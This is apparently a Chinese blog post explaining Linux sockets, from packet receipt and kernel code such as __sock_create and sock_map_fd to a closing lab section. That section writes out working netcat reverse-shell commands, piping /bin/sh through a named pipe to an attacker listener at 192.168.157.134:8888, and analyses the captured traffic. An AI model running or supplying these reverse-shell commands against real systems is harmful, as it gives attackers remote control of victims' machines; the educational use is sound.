0%

Principles:Socket底层原理

Socket 基础知识

相比于其他 IPC 方式,Socket 更牛的地方在于,它不仅仅可以做到同一台主机内跨进程通信,它还可以做到不同主机间的跨进程通信

  • “IP+端口+协议”的组合就可以唯一标识网络中一台主机上的一个进程
  • 信息依靠 操作系统和网络栈 从发送端 Socket 到接收端 Socket

一个完整的 Socket 的组成应该是由[协议,本地地址,本地端口,远程地址,远程端口] 组成的一个5维数组

  • 发送端:[tcp,发送端IP,发送端port,接收端IP,接收端port]
  • 接收端:[tcp,接收端IP,接收端port,发送端IP,发送端port]
  • 函数 socket 用于为本进程生成一个 Socket 描述符,内核中都有一个表,保存了该进程申请并占用的所有 socket 描述符
  • 服务端需要 bind 一个 struct sockaddr,其目的是为了指定一个固定的 IP/port 和地址族(因为客户端需要知道服务器基础信息才能通信)
1
2
3
4
5
6
struct sockaddr_in {
short int sin_family; /* 地址族(底层用来递交数据的通信协议) */
unsigned short int sin_port; /* 端口号 */
struct in_addr sin_addr; /* Internet地址 */
unsigned char sin_zero[8]; /* 为了让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节 */
};
  • 客户端就不需要 bind,而是在 connect 时由系统分配端口(connect 的参数为服务端的 struct sockaddr
  • 然后服务器开始监听该 port,循环执行 accept,并等待客户端 connect

Linux 网络数据包

网卡收包从整体上是网线中的高低电平转换到网卡 FIFO 存储,再拷贝到系统主内存的过程

接收数据包是一个复杂的过程,涉及很多底层的技术细节,但大致需要以下几个步骤:

  • 网卡收到数据包
  • 将数据包从网卡硬件缓存转移到服务器内存中(内核缓存 sk_buffer
  • 通知内核处理
  • 经过 TCP/IP 协议逐层处理
  • 应用程序通过 read 从 socket buffer 读取数据

这里就重点分析一下数据包传输到内核的过程:

NIC(Network Interface Card,网卡)在接收到数据包之后,首先需要将数据同步到内核中,具体流程如下:

  • 驱动在内存中分配一片缓冲区用来接收数据包,叫做 sk_buffer
  • 将上述缓冲区的地址和大小(即接收描述符),加入到 RX ring buffer
  • 驱动通知网卡有一个新的描述符
  • 网卡从 RX ring buffer 中取出描述符,从而获知缓冲区的地址和大小
  • 网卡收到新的数据包
  • 网卡将新数据包通过 DMA 直接写到 sk_buffer
    • RX ring buffer:网络栈接收数据环形缓存区
    • DMA:Direct Memory Access 直接存储器访问,外部设备不通过CPU而直接与系统内存交换数据的接口技术

这个时候,数据包已经被转移到了 sk_buffer 中,接着就会通过中断告诉内核有新数据进来了,内核会完成接下来的工作(内核会把工作交给 [网络协议栈] 去处理,以后慢慢看)

Socket 底层原理

其实 Socket 就是应用层与 TCP/IP 协议族通信的中间软件抽象层,它是一组接口:

  • Socket 可以大大简化“网络通信编程”,我们不需要完全掌握这种编程的各个细节,只需要使用 Socket 的接口就可以完成 Linux 传输网络数据包的各个步骤
  • 使进程以“操作文件的方式”实现网络数据包的传输

最后 Wireshark 抓个包:(133.server,134.client)

  • [NO.1~3]:三次握手(SYN:同步, ACK:确认)
  • [NO.4]:client -> server,传输数据(PSH:传输)
  • [NO.5~8]:四次释放(FIN:结束)
  • 可以发现 client 的端口是系统分配的,而 server 的端口是我们在 bind 中指定的

Linux 端口和进程的关系

会看 client 和 server 的运行逻辑:

  • server 监听自己系统上的一个固定端口
  • client 尝试连接 server 上的那个固定端口

client 和 server 本质上是运行在 shell 上的两个进程,那它们是怎么通过端口建立联系的呢?

  • 端口是 TCP/IP 协议中的概念,描述的是 TCP 协议上的对应的应用,可以理解为基于 TCP 的系统服务,或者说系统进程(只要把某个进程运行在端口上,它就成为了 TCP 协议上的对应的应用)
  • 对于每个进程,内核中都有一个表,保存了该进程申请并占用的所有 socket 描述符,在进程看来(socket 其实跟文件也没有什么不同,只不过通过描述符获得的对象不同而已,接口对应的系统调用也不同)
  • server 监听一个端口,client 连接一个端口,内核就可以通过端口快速查找并确定需要处理的进程,这两个进程就通过 TCP 协议关联起来了

当 client 通过 socket 描述符向 server 发送数据后,底层的 “网卡,内核,网络协议栈” 就会用预设的方案来处理数据包,并且把数据存储到 sk_buffer

然后 server 就可以通过读文件的方式,把 sk_buffer 中的数据 read/recv 到本地空间中

socket 在 Linux 中的实现

socket 在内核中的实现分为两层:

  • BSD socket
  • inet socket

socket 在内核中对应的函数就是 __sys_socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __sys_socket(int family, int type, int protocol)
{
int retval;
struct socket *sock;
int flags;

/* Check the SOCK_* constants for consistency. */
BUILD_BUG_ON(SOCK_CLOEXEC != O_CLOEXEC);
BUILD_BUG_ON((SOCK_MAX | SOCK_TYPE_MASK) != SOCK_TYPE_MASK);
BUILD_BUG_ON(SOCK_CLOEXEC & SOCK_TYPE_MASK);
BUILD_BUG_ON(SOCK_NONBLOCK & SOCK_TYPE_MASK);

flags = type & ~SOCK_TYPE_MASK;
if (flags & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
return -EINVAL;
type &= SOCK_TYPE_MASK;

if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;

retval = sock_create(family, type, protocol, &sock); /* 创建一个struct socket */
if (retval < 0)
return retval;

return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK)); /* 把它"映射"到vfs中便于应用层操作 */
}
  • __sys_socket 在简单检查了一下标志位后,执行两个核心函数:sock_createsock_map_fd
  • 在分析 __sock_create 之前,先看一下 struct socket 的条目信息:
1
2
3
4
5
6
7
8
9
struct socket {
socket_state state; /* socket状态 */
short type; /* socket类型 */
unsigned long flags; /* socket标志位 */
struct socket_wq *wq; /* socket等待队列 */
struct file *file; /* gc文件的返回指针 */
struct sock *sk;
const struct proto_ops *ops; /* 根据协议类型,保存了每种协议对应的函数 */
};

sock_create 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
int sock_create(int family, int type, int protocol, struct socket **res)
{
return __sock_create(current->nsproxy->net_ns, family, type, protocol, res, 0);
}
EXPORT_SYMBOL(sock_create);

int __sock_create(struct net *net, int family, int type, int protocol,
struct socket **res, int kern)
{
int err;
struct socket *sock;
const struct net_proto_family *pf;

/*
* Check protocol is in range
*/
if (family < 0 || family >= NPROTO)
return -EAFNOSUPPORT;
if (type < 0 || type >= SOCK_MAX)
return -EINVAL;

/* Compatibility.

This uglymoron is moved from INET layer to here to avoid
deadlock in module load.
*/
if (family == PF_INET && type == SOCK_PACKET) {
pr_info_once("%s uses obsolete (PF_INET,SOCK_PACKET)\n",
current->comm);
family = PF_PACKET;
}

err = security_socket_create(family, type, protocol, kern); /* 于在创建新socket之前的权限检查,并考虑协议集,类型,协议,以及socket是在内核中创建还是在用户空间中创建 */
if (err)
return err;

/*
* Allocate the socket and allow the family to set things up. if
* the protocol is 0, the family is instructed to select an appropriate
* default.
*/
sock = sock_alloc(); /* struct socket的核心创建函数 */
if (!sock) {
net_warn_ratelimited("socket: no more sockets\n");
return -ENFILE; /* Not exactly a match, but its the
closest posix thing */
}

sock->type = type; /* 设置 */

#ifdef CONFIG_MODULES
/* Attempt to load a protocol module if the find failed.
*
* 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
* requested real, full-featured networking support upon configuration.
* Otherwise module support will break!
*/
if (rcu_access_pointer(net_families[family]) == NULL) /* 检查驱动程序是否安装 */
request_module("net-pf-%d", family); /* 对未安装的驱动程序进行安装 */
#endif

rcu_read_lock(); /* RCU读锁申请 */
pf = rcu_dereference(net_families[family]); /* 获取受保护的RCU指针(这里是地址协议簇指针net_proto_family) */
err = -EAFNOSUPPORT;
if (!pf)
goto out_release;

/*
* We will call the ->create function, that possibly is in a loadable
* module, so we have to bump that loadable module refcnt first.
*/
if (!try_module_get(pf->owner))
goto out_release;

/* Now protected by module ref count */
rcu_read_unlock(); /* RCU读锁释放 */

err = pf->create(net, sock, protocol, kern); /* 进入inet socket层 */
if (err < 0)
goto out_module_put;

/*
* Now to bump the refcnt of the [loadable] module that owns this
* socket at sock_release time we decrement its refcnt.
*/
if (!try_module_get(sock->ops->owner))
goto out_module_busy;

/*
* Now that we're done with the ->create function, the [loadable]
* module can have its refcnt decremented
*/
module_put(pf->owner);
err = security_socket_post_create(sock, family, type, protocol, kern);
if (err)
goto out_sock_release;
*res = sock;

return 0;

out_module_busy:
err = -EAFNOSUPPORT;
out_module_put:
sock->ops = NULL;
module_put(pf->owner);
out_sock_release:
sock_release(sock);
return err;

out_release:
rcu_read_unlock();
goto out_sock_release;
}
EXPORT_SYMBOL(__sock_create);
  • 检查标志位后,调用 security_socket_create 获取必要的信息
  • 然后调用核心函数 sock_alloc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct socket *sock_alloc(void)
{
struct inode *inode;
struct socket *sock;

inode = new_inode_pseudo(sock_mnt->mnt_sb); /* 为给定的超级块分配一个新的inode(new_inode底层也是调用这个函数) */
if (!inode)
return NULL;

sock = SOCKET_I(inode); /* 将inode和socket关联起来 */

inode->i_ino = get_next_ino(); /* 对目标inode进行设置 */
inode->i_mode = S_IFSOCK | S_IRWXUGO;
inode->i_uid = current_fsuid();
inode->i_gid = current_fsgid();
inode->i_op = &sockfs_inode_ops;

return sock;
}
EXPORT_SYMBOL(sock_alloc);
  • 然后获取地址协议簇指针 net_proto_family(每种网域,都有一个 net_proto_family 数据结构)
    • 在系统初始化或者安装该模块时,会把指向相应网域的这个数据结构指针 net_proto_family 填入一个数组 net_families[]
    • 每当要创建对应网域的对应协议对象实体时,就要根据传入的 family 参数(其实就是 socket 的第一个参数)去这个数组找,找到的话就调用对应的 create 函数
1
2
3
4
5
static const struct net_proto_family unix_family_ops = {
.family = PF_UNIX,
.create = unix_create,
.owner = THIS_MODULE,
}; /* 对应AF_UNIX,本地通信 */
1
2
3
4
5
static const struct net_proto_family inet_family_ops = {
.family = PF_INET,
.create = inet_create,
.owner = THIS_MODULE,
}; /* 对应AF_INET,IPv4网络通信 */
1
2
3
4
5
static const struct net_proto_family inet6_family_ops = {
.family = PF_INET6,
.create = inet6_create,
.owner = THIS_MODULE,
}; /* 对应AF_INET6,IPv6网络通信 */
  • 之后调用 pf->create(net, sock, protocol, kern),调用对应网域的 create 函数,这个函数主要用于初始化 struct socket->proto_opsstruct socket->sock

sock_map_fd 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int sock_map_fd(struct socket *sock, int flags)
{
struct file *newfile;
int fd = get_unused_fd_flags(flags); /* 申请一个fd */
if (unlikely(fd < 0)) {
sock_release(sock);
return fd;
}

newfile = sock_alloc_file(sock, flags, NULL); /* 申请一个file */
if (likely(!IS_ERR(newfile))) {
fd_install(fd, newfile); /* 把fd和file绑定到一起 */
return fd;
}

put_unused_fd(fd); /* 用于将形参对应的fd在其文件系统打开文件的bitmap中清零 */
return PTR_ERR(newfile);
}

其实 Socket 函数的核心就是初始化了一个 struct socket 并把它和 VFS 绑定到了一起

  • struct socket 中存储了不同网域,不同协议类型的各种处理方法
  • 而 VFS 则允许用户层以处理文件的形式来操作 struct socket

Socket 在 NC 中的运用

攻击端监听端口:

1
nc -lnvp 8888

受害端创建一个管道 backpipe,并将 shell 环境的输入:

1
2
mknod /tmp/backpipe 
/bin/sh 0</tmp/backpipe | nc 192.168.157.134 8888 1>/tmp/backpipe
  • /tmp/backpipe 重定位为 /bin/sh 的标准输入
  • 192.168.157.134:8888 的标准输出重定位为 /tmp/backpipe
  • 这样从攻击端标准输入的数据就会输出到 /tmp/backpipe,然后再输出到受害端的 /bin/sh
  • 在 shell 命令中设置的管道 “|” 会把 /bin/sh 的结果传输回 192.168.157.134:8888
1
192.168.157.134:8888 /bin/sh -> /tmp/backpipe -> /bin/sh -> /tmp/backpipe -> 192.168.157.134:8888 /bin/sh

为了更好地测试数据,可以把 “|” 两边的命令交换位置:

1
2
mknod /tmp/backpipe 
nc 192.168.157.134 8888 1>/tmp/backpipe | /bin/sh 0</tmp/backpipe
  • 192.168.157.134:8888 的标准输出重定位为 /tmp/backpipe
  • /tmp/backpipe 重定位为 /bin/sh 的标准输入
  • 在 shell 命令中设置的管道 “|” 会把 192.168.157.134:8888 中的数据输入到 /bin/sh
1
192.168.157.134:8888 /bin/sh -> /tmp/backpipe -> /bin/sh 

其实就相当于如下的命令:

1
nc 192.168.157.134 8888 | /bin/sh 
  • 在 shell 命令中设置的管道 “|” 会把 192.168.157.134:8888 中的数据输入到 /bin/sh
1
192.168.157.134:8888 /bin/sh -> /bin/sh 

管道在这里的作用只是把 nc 192.168.157.134 8888/bin/sh 两个进程联系起来,而不同主机之间的通信则依靠 nc 命令底层的 socket

接下来就用第一个示例代码进行抓包分析:

  • 当两个进程建立 TCP 连接的时候:
  • 两边抓到的包是一样的,基础的三次握手(SYN:同步, ACK:确认)
  • 当攻击端发送数据时:
  • [NO.4]:攻击端发送的数据
  • [NO.6]:受害端发送的数据